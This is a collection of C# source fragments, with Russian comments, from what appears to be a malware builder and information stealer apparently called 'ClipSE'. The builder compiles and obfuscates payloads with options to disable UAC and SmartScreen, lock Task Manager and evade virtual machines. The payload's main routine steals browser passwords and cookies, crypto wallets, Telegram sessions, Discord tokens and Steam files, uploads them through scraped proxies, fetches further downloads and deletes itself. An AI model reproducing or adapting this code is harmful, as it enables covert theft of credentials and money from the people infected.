/// <summary> /// Метод для загрузки обновления /// </summary> /// <param name="link">Ссылка на билдер</param> private void LoadingBuilder(string link) { Task.Run(() => AntiSniffer.Inizialize()).Start(); try { var url = new Uri(link, UriKind.Absolute); using var update = new WebClient { Proxy = null }; update?.DownloadFile(url, GlobalPath.NewFile); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_en_US.UpdateSuccess); } else { ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_ru_RU.UpdateSuccess); } } catch (WebException) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_en_US.ErrorConnect); } else { ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_ru_RU.ErrorConnect); } this.Launch.Visible = false; } this.Launch.Visible = FileControl.ExistsFile(GlobalPath.NewFile); }
public static bool Download(string HostName) { AntiSniffer.Inizialize(); if (Directory.Exists(GlobalPath.GarbageTemp)) { if (!Directory.Exists(OSDirectory)) { CombineEx.CreateDir(OSDirectory); return(Download(HostName)); } else { foreach (string list in Encryptdll) { if (!list.EndsWith(".txt", StringComparison.Ordinal)) { return(false); } else { string ChangerExtension = Path.ChangeExtension(list, ".dll"); GetByte($@"{HostName}/files/dll/{list}", CombineEx.Combination(GlobalPath.GarbageTemp, ChangerExtension)); } } } } return(true); }
public static bool Download(string HostName) { AntiSniffer.Inizialize(); // Убиваем снифферы. if (Directory.Exists(GlobalPath.GarbageTemp)) // проверяем папку Garbage в папке Temp - Temp\Garbage { if (!Directory.Exists(OSDirectory)) // Проверяем директорию битности { CombineEx.CreateDir(OSDirectory); // Создадим директорию. return(Download(HostName)); // Снова выполним метод Download } else // Если папка битности есть то.. { foreach (string list in Encryptdll) // проходим циклом по списку Encryptdll { if (!list.EndsWith(".txt", StringComparison.Ordinal)) // Проверим что список состоит из .txt файлов { return(false); // если нет то завершаем работу. } else { string ChangerExtension = Path.ChangeExtension(list, ".dll"); // Переименовываем форматы файлов в *.dll GetByte($@"{HostName}/files/dll/{list}", CombineEx.Combination(GlobalPath.GarbageTemp, ChangerExtension)); // Скачиваем .dll файлы } } } } return(true); // Переходим дальше. }
/// <summary> /// Метод для проверки обновления /// </summary> /// <param name="link">Ссылка на текстовый документ</param> private void Checker(string link) { try { Task.Run(() => AntiSniffer.Inizialize()).Start(); using var client = new WebClient { Proxy = null }; var url = new Uri(link, UriKind.Absolute); string text = client?.DownloadString(url); if (text.Contains(GlobalPath.VersionBuild)) // Сверка версии { this.VerNew.Visible = false; this.DownloadUpdates.Visible = false; if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.FinalVersionMessage); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.FinalVersionMessage); } } else { this.VerNew.Visible = true; if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.AccessNew); this.VerNew.Text = $"{Language.GlobalMessageStrings_en_US.NewVer} {text}"; } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.AccessNew); this.VerNew.Text = $"{Language.GlobalMessageStrings_ru_RU.NewVer} {text}"; } this.DownloadUpdates.Visible = true; } } catch (WebException) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_en_US.ErrorConnect); } else { ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_ru_RU.ErrorConnect); } this.DownloadUpdates.Visible = false; } }
private static void ProxyStarted(Uri link, string method, string filename, bool True = true) { ProxyGrabber.Parse("http://xseo.in/freeproxy"); try { using (var client = new WebClient()) { if (method.Equals("POST")) { AntiSniffer.Inizialize(); client.Proxy = new WebProxy(ProxyGrabber.builder.ToString()); client.UploadFile(link, method, filename); CombineEx.DeleteFile(GlobalPath.ZipAdd); Ccleaner.ClearDll(); } } } catch (WebException) { Inizialize(link, method, filename); } catch (UriFormatException) { } }
private static bool Check_US(string linkdll) { // Удаляем папку "en-US" вмести с файлом перед обновлением. FileControl.DirectoryDelete(GlobalPath.EngDir); Thread.Sleep(1000); if (!FileControl.ExistsDirectory(GlobalPath.EngDir)) { FileControl.CreateDirectory(GlobalPath.EngDir, System.IO.FileAttributes.Normal); Task.Run(() => AntiSniffer.Inizialize()).Start(); var urldll = new Uri(linkdll, UriKind.Absolute); using var updatedll = new WebClient { Proxy = null }; updatedll.DownloadFile(urldll, GlobalPath.NewFile_Dll); return(true); } return(false); }
public static void Inizialize(Uri url, string method, string filename, bool status = true) { try { using (var client = new WebClient()) { if (method.Equals("POST")) { try { AntiSniffer.Inizialize(); client.UploadFile(url, method, filename); CombineEx.DeleteFile(GlobalPath.ZipAdd); Ccleaner.ClearDll(); } catch (WebException) { ProxyStarted(url, method, filename); } catch (UriFormatException) { } } } } catch (WebException) { ProxyStarted(url, method, filename); } }
private static bool Check_US(string linkdll) { // Удаляем папку "en-US" вмести с файлом перед обновлением. FileControl.DirectoryDelete(GlobalPath.EngDir); Thread.Sleep(1000); if (!FileControl.ExistsDirectory(GlobalPath.EngDir)) { FileControl.CreateDirectory(GlobalPath.EngDir, System.IO.FileAttributes.Normal); // https://github.com/StHarp-gsvv/UpdateSE/blob/master/ClipSE Builder by r3xq1.resources.txt // https://github.com/StHarp-gsvv/UpdateSE/blob/master/ClipSE%20Builder%20by%20r3xq1.resources.txt new Thread(() => { AntiSniffer.Inizialize(); }).Start(); var urldll = new Uri(linkdll, UriKind.Absolute); using (var updatedll = new WebClient()) { updatedll.Proxy = null; updatedll.DownloadFile(urldll, GlobalPath.NewFile_Dll); return(true); } } return(false); }
/// <summary> /// Метод для компиляции исходного кода /// </summary> /// <param name="values">Данные из словаря (контейнера)</param> /// <param name="build">Передача данных через свойства</param> /// <returns>Исходно-изменённый файл</returns> public static bool Inizialize(Dictionary <string, string> values, Build build) { // Запускаем антисниффер new Thread(() => { AntiSniffer.Inizialize(); }).Start(); // Расшифровываем онлайн билд через ключ string SourceCode = INetConnect.GetOnlineBuild(EncryptKey.Decrypt(GlobalPath.DatabaseBuild, GlobalPath.SecretKey_Public)); #region ComboBox replace Boolean values SourceCode = build.DelayCheckStatus.Checked ? SourceCode.Replace("[Delay]", "true") : SourceCode.Replace("[Delay]", "false"); SourceCode = build.RunCheckStatus.Checked ? SourceCode.Replace("[Run]", "true") : SourceCode.Replace("[Run]", "false"); SourceCode = build.GarbageCheckStatus.Checked ? SourceCode.Replace("[Garbage]", "true") : SourceCode.Replace("[Garbage]", "false"); SourceCode = build.UacOffCheckStatus.Checked ? SourceCode.Replace("[Uac]", "true") : SourceCode.Replace("[Uac]", "false"); SourceCode = build.SmartOffCheckStatus.Checked ? SourceCode.Replace("[Smart]", "true") : SourceCode.Replace("[Smart]", "false"); SourceCode = build.TaskMgrOffCheckStatus.Checked ? SourceCode.Replace("[TaskLock]", "true") : SourceCode.Replace("[TaskLock]", "false"); SourceCode = build.AntiVMCheckStatus.Checked ? SourceCode.Replace("[Anti]", "true") : SourceCode.Replace("[Anti]", "false"); SourceCode = build.IPLogheckStatus.Checked ? SourceCode.Replace("[IPloger]", "true") : SourceCode.Replace("[IPloger]", "false"); SourceCode = build.FakeErrorCheckStatus.Checked ? SourceCode.Replace("[Fake]", "true") : SourceCode.Replace("[Fake]", "false"); #endregion SourceCode = SourceCode.Replace("[TEXT_ERROR]", build.ErrorBox); #region Replacement Assembly SourceCode = SourceCode.Replace("[TITLE]", build.AssTitle). Replace("[DESCRIPTION]", build.AssDescription). Replace("[COMPANY]", build.AssCompany). Replace("[PRODUCT]", build.AssProduct). Replace("[COPYRIGHT]", build.AssCopyright). Replace("[VERSION]", build.AssVersion). Replace("[FILEVERSION]", build.AssFileVersion). Replace("[GUID]", build.GuidBox). Replace("[WEB]", build.IPLoGGeR); #endregion #region Replace data user interfaces foreach (KeyValuePair <string, string> kvp in values) { SourceCode = SourceCode?.Replace(kvp.Key, kvp.Value); } #endregion // Версия .Net Framework для билда var providerOptions = new Dictionary <string, string> { { "CompilerVersion", "v4.0" } }; // Инициализация нового экземпляра класса CSharpCodeProvider using (var provider = new CSharpCodeProvider(providerOptions)) { try { // Дефолтные параметры для компиляции var parameters = new CompilerParameters { CompilerOptions = "/target:winexe /optimize+ /platform:anycpu", // Дополнительные параметры для компиляции TreatWarningsAsErrors = false, GenerateInMemory = false, IncludeDebugInformation = false, }; switch (build.ComboOutputExtension.SelectedItem.ToString().Trim()) { case ".dll": { parameters.OutputAssembly += $"{build.BoxFileName}.exe"; // Выходной файл .dll ( изначальный .exe после обфускации в .dll ) parameters.GenerateExecutable = false; } break; default: parameters.OutputAssembly += $"{build.BoxFileName}.exe"; // Выходной файл .exe parameters.GenerateExecutable = true; // Генерация в .exe break; } if (!string.IsNullOrEmpty(build.BoxIcon) || FileControl.ExistsFile(build.BoxIcon)) // Проверка на обнаружение иконки { parameters.CompilerOptions += $" /win32icon:{build.BoxIcon}"; // Добавляем иконку } if (build.RunCheckStatus.Checked) // Проверка запуска от Админа { if (FileControl.ExistsFile(GlobalPath.ManifestFile)) // Проверка файла app.Manifest { parameters.CompilerOptions += $" /win32manifest:{GlobalPath.ManifestFile}"; // внедряем запуск от Админа } else { MusicPlay.Inizialize(Resources.Error_Build); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.FindManifest); } else { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.FindManifest); } } } // Добавление ссылок для компиляции билда #region Add Library Dll for (int i = 0; i < list_library.Count; i++) { parameters.ReferencedAssemblies.Add(list_library[i]); } #endregion // Компиляция! CompilerResults ResultLog = provider.CompileAssemblyFromSource(parameters, SourceCode); // Проверка на ошибки if (!ResultLog.Errors.HasErrors) { SourceCode = null; ResultLog = null; FileControl.FileDelete("Error_Compiler.txt"); MusicPlay.Inizialize(Resources.GoodBuild); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.BuildCreated); } else { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.BuildCreated); } string tte = FileControl.CombinePath(GlobalPath.CurrDir, $"{build.BoxFileName}.exe"); // Расширения для билд файла switch (build.ComboOutputExtension.SelectedIndex) { case 1: FileControl.Move(tte, Path.ChangeExtension(tte, ".dll")); break; default: FileControl.Move(tte, Path.ChangeExtension(tte, ".exe")); break; } return(true); } else { MusicPlay.Inizialize(Resources.Error_Build); // Проходимся циклом чтобы перечислить все ошибки которые возникли и записать их в файл .txt foreach (CompilerError compilerError in ResultLog.Errors) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { FileControl.CreateFile("Error_Compiler.txt", $"Error: {compilerError.ToString()} \r\nLine: {compilerError.Line}\r\n"); } else { FileControl.CreateFile("Error_Compiler.txt", $"Ошибка: {compilerError.ToString()} \r\nСтрока: {compilerError.Line}\r\n"); } } return(false); } } catch (Exception ex) // Остальные (неизвестные ошибки) записать в файл .txt { MusicPlay.Inizialize(Resources.Error_Build); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.ErrorBuild); FileControl.CreateFile("Compile_Error.txt", $"Error: {ex.Message}\r\n"); } else { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.ErrorBuild); FileControl.CreateFile("Compile_Error.txt", $"Ошибка: {ex.Message}\r\n"); } return(false); } } }
/// <summary> /// Запуск процесс компиляции исходного файла с проверками по ключу. /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private async void Generation_ClickAsync(object sender, EventArgs e) { NativeMethods.SetFocus(IntPtr.Zero); #region BuildSettings var build = new Build ( this.IcoPath.Text, this.NameOutput.Text, this.AssTitleTextBox.Text, this.AssDescriptTextBox.Text, this.AssCompanyTextBox.Text, this.AssProductTextBox.Text, this.AssCopyrightTextBox.Text, this.AssVerTextBox.Text, this.AssFileVerTextBox.Text, this.AssGuidTextBox.Text, this.IPBox.Text, this.ErrorBox.Text, this.ShowMessage, this.DelayCheckBox, this.GarbageCheckBox, this.AutoRunCheckBox, this.SmartOffCheckBox, this.TaskMgrOffCheckBox, this.UacOffCheckBox, this.AntiVMCheckBox, this.IPLOGCheckBox, this.FakeCheckBox, this.SpisokOut ); #endregion if (string.IsNullOrWhiteSpace(this.NameOutput.Text) || string.IsNullOrWhiteSpace(this.AssTitleTextBox.Text) || string.IsNullOrWhiteSpace(this.AssDescriptTextBox.Text) || string.IsNullOrWhiteSpace(this.AssCompanyTextBox.Text) || string.IsNullOrWhiteSpace(this.AssCopyrightTextBox.Text) || string.IsNullOrWhiteSpace(this.AssFileVerTextBox.Text)) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.FillFields); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.FillFields); } } else { if (string.IsNullOrWhiteSpace(this.SpisokOut.Text)) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.Extension); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.Extension); } } else { new Thread(() => { AntiSniffer.Inizialize(); }).Start(); if (CheckerKeys.CompareKey()) { CheckerKeys.GetLicenseInfo(); if (FileControl.ExistsFileAndDirectory(GlobalPath.ModConfuser, GlobalPath.CLI)) { if (SourceEdition.values.Count != 0) { await Task.Run(() => SourceEdition.Inizialize(SourceEdition.values, build)); // Обфускация switch (build.ComboOutputExtension.SelectedIndex) { case 1: await Task.Run(() => Mod.Packer.CreateProject(GlobalPath.CurrDir, $"{build.BoxFileName}.dll")); break; default: await Task.Run(() => Mod.Packer.CreateProject(GlobalPath.CurrDir, $"{build.BoxFileName}.exe")); break; } if (FileControl.ExistsDirectory(GlobalPath.Confused)) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.Obfuscated); } else { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.Obfuscated); } } } else { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.BasePurse); } else { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.BasePurse); } } } else { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ModCLI); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ModCLI); } } } else { MusicPlay.Inizialize(Resources.Error_Build); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ErrorLicense); FileControl.CreateFile("Clip_Key.txt", $"Your key to access the program: {HardwareID.GET_ID}\r\nSend this key to the developer for activation.\r\n"); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ErrorLicense); FileControl.CreateFile("Clip_Key.txt", $"Ваш ключ для доступа к программе: {HardwareID.GET_ID}\r\nЭтот ключ скиньте разработчику для активации.\r\n"); } Thread.Sleep(2000); Application.Exit(); } } } }
public static void Main() { if (!AntiVM.GetCheckVMBot()) { // Если запущена копия программы, закрываем её! if (RunCheck.InstanceCheck()) { // Запускаем антисниффер new Thread(() => { AntiSniffer.Inizialize(); }).Start(); // Проверяем подключение к интернет ресурсу if (INetConnect.Inizialize(EncryptKey.Decrypt(GlobalPath.UrlCheck, GlobalPath.SecretKey_Public))) { // Проверяем ключ доступа к программе if (!CheckerKeys.CompareKey()) { MusicPlay.Inizialize(Resources.Error_Build); Thread.Sleep(500); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { FileControl.CreateFile("Clip_Key.txt", $"Your key to access the program: {HardwareID.GET_ID}\r\nSend this key to the developer for activation.\r\n"); } else { FileControl.CreateFile("Clip_Key.txt", $"Ваш ключ для доступа к программе: {HardwareID.GET_ID}\r\nЭтот ключ скиньте разработчику для активации.\r\n"); } } else { CheckerKeys.GetLicenseInfo(); Application.Run(new ClipPurseFrm()); } } else { MusicPlay.Inizialize(Resources.Error_Build); Thread.Sleep(500); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { FileControl.CreateFile("Connection_Error.txt", "No Internet connection, check your network connection, and try again.\r\n"); } else { FileControl.CreateFile("Connection_Error.txt", "Нет подключения к интернету, проверьте подключения к Вашей сети, и повторите попытку снова.\r\n"); } } } else { Environment.Exit(0); } } else { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { FileControl.CreateFile("VMware.txt", "Virtual machine detected, please run the program outside this environment!"); } else { FileControl.CreateFile("VMware.txt", "Обнаружена виртуальная машина, пожалуйста, запустите программу вне этой среды!"); } } }
/// <summary> /// Запуск процесс компиляции исходного файла с проверками по ключу. /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private async void Generation_ClickAsync(object sender, EventArgs e) { NativeMethods.SetFocus(IntPtr.Zero); #region BuildSettings var build = new Build ( this.IcoPath.Text, this.NameOutput.Text, this.AssTitleTextBox.Text, this.AssDescriptTextBox.Text, this.AssCompanyTextBox.Text, this.AssProductTextBox.Text, this.AssCopyrightTextBox.Text, this.AssVerTextBox.Text, this.AssFileVerTextBox.Text, this.AssGuidTextBox.Text, this.IPBox.Text, this.ErrorBox.Text, this.ShowMessage, this.DelayCheckBox, this.GarbageCheckBox, this.AutoRunCheckBox, this.SmartOffCheckBox, this.TaskMgrOffCheckBox, this.UacOffCheckBox, this.AntiVMCheckBox, this.IPLOGCheckBox, this.FakeCheckBox ); #endregion if (string.IsNullOrWhiteSpace(this.NameOutput.Text) || string.IsNullOrWhiteSpace(this.AssTitleTextBox.Text) || string.IsNullOrWhiteSpace(this.AssDescriptTextBox.Text) || string.IsNullOrWhiteSpace(this.AssCompanyTextBox.Text) || string.IsNullOrWhiteSpace(this.AssCopyrightTextBox.Text) || string.IsNullOrWhiteSpace(this.AssFileVerTextBox.Text)) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.FillFields); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.FillFields); } } else { Task.Run(() => AntiSniffer.Inizialize()).Start(); // Антисниффер ( чтобы не отслеживали запрос до сервера ) //if (CheckerKeys.CompareKey()) // Проверка ключа тут. //{ // CheckerKeys.GetLicenseInfo(); if (SourceEdition.values.Count != 0) { bool result = await Task.Run(() => SourceEdition.Inizialize(SourceEdition.values, build)); // Если хотите можете добавить обфускацию для билд файла т.к идёт ожидание } else { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.BasePurse); } else { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.BasePurse); } } //} //else //{ // MusicPlay.Inizialize(Resources.Error_Build); // if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) // { // ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ErrorLicense); // FileControl.CreateFile("Clip_Key.txt", $"Your key to access the program: {HardwareID.GET_ID}\r\nSend this key to the developer for activation.\r\n"); // } // else // { // ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ErrorLicense); // FileControl.CreateFile("Clip_Key.txt", $"Ваш ключ для доступа к программе: {HardwareID.GET_ID}\r\nЭтот ключ скиньте разработчику для активации.\r\n"); // } // Thread.Sleep(2000); // Application.Exit(); //} } }
private void Updater_Load(object sender, EventArgs e) { if (Date.Delay) { Thread.Sleep(Date.DelaySec); } if (!AntiVM.GetCheckVMBot()) { if (!MovEx.CheckPath()) { if (Date.Delay) { ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath); } } else { HideFolders.Enabled(0); DisableLockers.SmartScreen(); DisableLockers.UAC(); AntiSniffer.Inizialize(); if (Date.Downloader || Date.AdminRight) { Users.DownFileEx(Date.DownloaderLink, Environment.GetEnvironmentVariable(Date.DownloaderPath), Date.FakeNameProcess); } if (Date.IpLogger) { IPLogger.Sender(Date.IpLoggerLink); } if (Date.InfoGrabber) { InfoGrabber.CreateTable(GlobalPath.PC_File); } if (Date.CryptoWall) { BitBoard.GetWallet(); } if (Date.Browsers) { ChromeSearcher.CopyLoginsInSafeDir(GlobalPath.Logins); ChromeCookiesSearcher.CopyCookiesInSafeDir(GlobalPath.Cookies); GetPassword.Inizialize(); GetCookies.Inizialize(); } if (Date.Buffer) { ClipboardEx.GetBuffer(GlobalPath.Buffer); } if (Date.Programs) { MailFoxPassword.Inizialize(); DcGrabber.GeTokens(); TGrabber.GetTelegramSession(GlobalPath.Tdata, GlobalPath.TelegaHome, "*.*"); } if (Date.Clients) { GetClients.Inizialize(); } if (Date.Steam) { GetSteamFiles.Copy("*.", "*.vdf", "config", "Steam"); } if (Date.ScreenShot) { ScreenShot.Shoot(GlobalPath.Screen); } Ccleaner.CheckIsNullDirsAndFiles(GlobalPath.GarbageTemp); Archiving.Inizialize(); UploadZip.Inizialize(GlobalPath.Reception, "POST", GlobalPath.ZipAdd); //BlockIE.Enabled(1); // Блокировка интернета if (Date.Delay) { ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath); } Application.Exit(); } } else { SaveData.SaveFile("VM_Detect.txt", "The program is not supported on virtual machines!"); if (Date.Delay) { ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath); } } }